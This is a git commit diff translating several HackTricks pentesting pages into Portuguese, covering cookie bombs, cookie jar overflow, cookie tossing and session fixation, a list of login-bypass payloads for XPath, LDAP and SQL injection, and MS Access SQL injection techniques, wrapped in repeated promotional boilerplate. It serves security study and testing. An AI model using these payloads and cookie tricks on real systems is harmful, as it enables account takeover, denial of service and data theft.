Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente

This commit is contained in:
Translator 2024-01-10 17:13:17 +00:00
parent 00932a6aee
commit bb12f520db
20 changed files with 1023 additions and 865 deletions

View file

@ -1,22 +1,35 @@
Um cookie bomb é a capacidade de **adicionar um grande número de cookies grandes a um usuário** para um domínio e seus subdomínios com o objetivo de que a vítima sempre **envie grandes solicitações HTTP** para o servidor (devido aos cookies) e o **servidor não aceite a solicitação**. Portanto, isso causará um DoS sobre um usuário nesse domínio e subdomínios.
<details>
Um **bom exemplo** pode ser visto neste relatório: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
E para mais informações, você pode verificar esta apresentação: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Uma cookie bomb é a capacidade de **adicionar um grande número de cookies grandes a um usuário** para um domínio e seus subdomínios com o objetivo de fazer com que a vítima sempre **envie requisições HTTP grandes** para o servidor (devido aos cookies) e o **servidor não aceite a requisição**. Portanto, isso causará um DoS sobre um usuário naquele domínio e subdomínios.
Um bom **exemplo** pode ser visto neste relatório: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
E para mais informações, você pode conferir esta apresentação: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,36 +1,48 @@
Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **transbordar o jarro de cookies** já que os mais antigos serão excluídos primeiro:
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Os navegadores têm um **limite no número de cookies** que podem armazenar para uma página. Então, se por algum motivo você precisar **fazer um cookie desaparecer**, você pode **sobrecarregar o pote de cookies** já que os mais antigos serão deletados primeiro:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
document.cookie = `cookie${i}=${i}; Secure`;
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
Observe que os cookies de terceiros apontando para um domínio diferente não serão sobrescritos.
Observe que cookies de terceiros apontando para um domínio diferente não serão sobrescritos.
{% hint style="danger" %}
Este ataque também pode ser usado para **sobrescrever cookies HttpOnly, pois você pode excluí-lo e, em seguida, redefini-lo com o valor que desejar**.
Este ataque também pode ser usado para **sobrescrever cookies HttpOnly, pois você pode deletá-los e então redefini-los com o valor que desejar**.
Verifique isso neste [**post com um laboratório**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,44 +1,59 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Descrição
Se um atacante puder **controlar um subdomínio ou o domínio de uma empresa ou encontrar um XSS em um subdomínio**, ele poderá realizar esse ataque.
Se um atacante pode **controlar um subdomínio ou o domínio de uma empresa ou encontrar um XSS em um subdomínio**, ele poderá realizar esse ataque.
Como indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
Como foi indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
{% hint style="danger" %}
Portanto, **um atacante poderá definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
{% endhint %}
Isso pode ser perigoso, pois o atacante pode ser capaz de:
Isso pode ser perigoso, pois o atacante pode:
* **Fixar o cookie da vítima na conta do atacante** para que, se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (verificar o histórico das pesquisas do usuário na plataforma, a vítima pode definir seu cartão de crédito na conta...)
* Se o **cookie não mudar após o login**, o atacante pode apenas **fixar um cookie**, esperar até que a vítima faça login e, em seguida, **usar esse cookie para fazer login como a vítima**.
* Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após o login da vítima), o **atacante pode definir esse valor conhecido e depois abusar dele** (neste cenário, o atacante pode então fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
* **Fixar o cookie da vítima na conta do atacante** para que, se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (verificar o histórico de buscas do usuário na plataforma, a vítima pode cadastrar seu cartão de crédito na conta...)
* Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie**, esperar até que a vítima faça login e então **usar esse cookie para entrar como a vítima**.
* Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após o login da vítima), o **atacante pode definir esse valor conhecido e então abusar dele** (nesse cenário, o atacante pode fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
## Ordem dos Cookies
Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará ambos os valores do cookie** quando ambos forem válidos para a solicitação.
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro, como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
A maioria dos **sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico.
A maioria dos **sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor definir antes que outro seja definido ou definir com um caminho mais específico.
{% hint style="warning" %}
Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer com que a **vítima trabalhe com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado primeiro**.
Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer a **vítima trabalhar com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado antes**.
{% endhint %}
## Bypass de Proteção
## Proteção Bypass
A possível proteção contra esse ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas dois valores diferentes**.
Uma possível proteção contra esse ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas com dois valores diferentes**.
Para contornar o cenário em que o atacante está definindo um cookie depois que a vítima já recebeu o cookie, o atacante poderia causar uma **sobrecarga de cookie** e, em seguida, uma vez que o **cookie legítimo é excluído, definir o malicioso**.
Para contornar o cenário em que o atacante está definindo um cookie depois que a vítima já recebeu o cookie, o atacante poderia causar um **overflow de cookie** e então, uma vez que o **cookie legítimo seja excluído, definir o malicioso**.
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
Outro **bypass** útil poderia ser **codificar em URL o nome do cookie**, pois algumas proteções verificam se há 2 cookies com o mesmo nome em uma solicitação e, em seguida, o servidor decodificará os nomes dos cookies.
Outro **bypass** útil poderia ser **codificar o nome do cookie na URL** já que algumas proteções verificam se há 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
## Bomba de Cookies
## Cookie Bomb
Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **Cookie Bomb**:
@ -48,13 +63,28 @@ Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **
## Defesas
### Use o prefixo `__Host` no nome do cookie
### **Use o prefixo `__Host` no nome do cookie**
* Se um nome de cookie tiver esse prefixo, ele **será aceito apenas** em uma diretiva Set-Cookie se for marcado como seguro, foi enviado de uma origem segura, não inclui um atributo de domínio e tem o atributo de caminho definido como /
* **Isso impede que subdomínios forcem um cookie para o domínio principal, já que esses cookies podem ser vistos como "bloqueados no domínio"**
* Se um nome de cookie tiver esse prefixo, ele **será aceito** apenas em uma diretiva Set-Cookie se estiver marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo de Domínio e tiver o atributo de Caminho definido para /
* **Isso impede que subdomínios forcem um cookie para o domínio principal, já que esses cookies podem ser vistos como "bloqueados por domínio"**
## Referências
* [**@blueminimal**](https://twitter.com/blueminimal)
* [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
* [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,6 +1,21 @@
Esta lista contém **payloads para burlar o login via XPath, LDAP e injeção de SQL** (nessa ordem).
<details>
A maneira de usar esta lista é colocar as **primeiras 200 linhas como nome de usuário e senha**. Em seguida, coloque a lista completa nos campos de nome de usuário e senha, colocando alguma senha (como _Pass1234._) ou algum nome de usuário conhecido (como _admin_).
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Esta lista contém **payloads para bypass de login via XPath, LDAP e SQL injection** (nessa ordem).
A maneira de usar esta lista é colocar as **primeiras 200 linhas como nome de usuário e senha.** Depois, coloque a lista completa primeiro no nome de usuário e depois nos campos de senha, enquanto insere alguma senha (como _Pass1234._) ou algum nome de usuário conhecido (como _admin_).
```
admin
password
@ -800,24 +815,23 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%A8%27) Or 1-- 2
%8C%A8%27) Or 1-- 2
%bf') Or 1-- 2
%A8%27)Ou(1)-- 2
%8C%A8%27)Ou(1)-- 2
%bf')Ou(1)-- 2
%A8%27)Or(1)-- 2
%8C%A8%27)Or(1)-- 2
%bf')Or(1)-- 2
%A8%27)||1-- 2
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver a sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

File diff suppressed because one or more lines are too long

View file

@ -2,17 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -24,18 +22,18 @@
### Concatenação de Strings
A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`.
É possível fazer concatenação de strings com os caracteres `& (%26)` e `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Comentários
Não há comentários em MS Access, mas aparentemente é possível remover o último caractere de uma consulta com um caractere NULL:
Não existem comentários no MS Access, mas aparentemente é possível remover o final de uma consulta com um caractere NULL:
```sql
1' union select 1,2 from table%00
```
Se isso não funcionar, você sempre pode corrigir a sintaxe da consulta:
Se isso não estiver funcionando, você sempre pode corrigir a sintaxe da consulta:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
@ -45,41 +43,41 @@ Elas não são suportadas.
### LIMIT
O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para as **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
O operador **`LIMIT`** **não é implementado**. No entanto, é possível limitar os resultados da consulta SELECT para **os primeiros N registros da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Assim como o TOP, você pode usar o **`LAST`** que irá obter as **linhas do final**.
Assim como o **`TOP`**, você pode usar **`LAST`**, que obterá as **linhas a partir do final**.
## Consultas de União/Subconsultas
## Consultas UNION/Subconsultas
Em uma injeção SQL, você geralmente deseja executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em **subconsultas ou consultas extras seja indicado um `FROM`**.\
Em um SQLi, geralmente você vai querer executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre exige que em **subconsultas ou consultas extras seja indicado um `FROM`**.\
Portanto, se você deseja executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
Portanto, você precisa saber um **nome de tabela válido**.
Por isso, você precisa conhecer um **nome de tabela válido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Encadeando equals + Substring
### Encadeamento de igualdades + Substring
{% hint style="warning" %}
Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela.
Isso permitirá que você exfiltre valores da tabela atual sem precisar conhecer o nome da tabela.
{% endhint %}
O **MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção de SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
**MS Access** permite uma **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
Imagine que você tenha uma injeção de SQL em um banco de dados MS Access e sabe (ou adivinhou) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você pode verificar as diferentes respostas do aplicativo da web quando a técnica de encadeamento de equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
Imagine que você tenha uma SQLi em um banco de dados MS Access e você sabe (ou supõe) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de encadeamento de igualdades é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
```sql
'=(Mid(username,1,3)='adm')='
```
Se você sabe o **nome da tabela** e **coluna** para extrair, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via boolean SQLi:
Se você conhece o **nome da tabela** e **coluna** para extrair, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Sinta-se à vontade para testar isso no playground online._
_Sinta-se à vontade para verificar isso no playground online._
### Forçando nomes de tabelas
### Força bruta em nomes de tabelas
Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como:
Usando a técnica de encadeamento de igualdades, você também pode **forçar a descoberta de nomes de tabelas** com algo como:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
@ -89,12 +87,12 @@ Você também pode usar um método mais tradicional:
```
_Sinta-se à vontade para verificar isso no playground online._
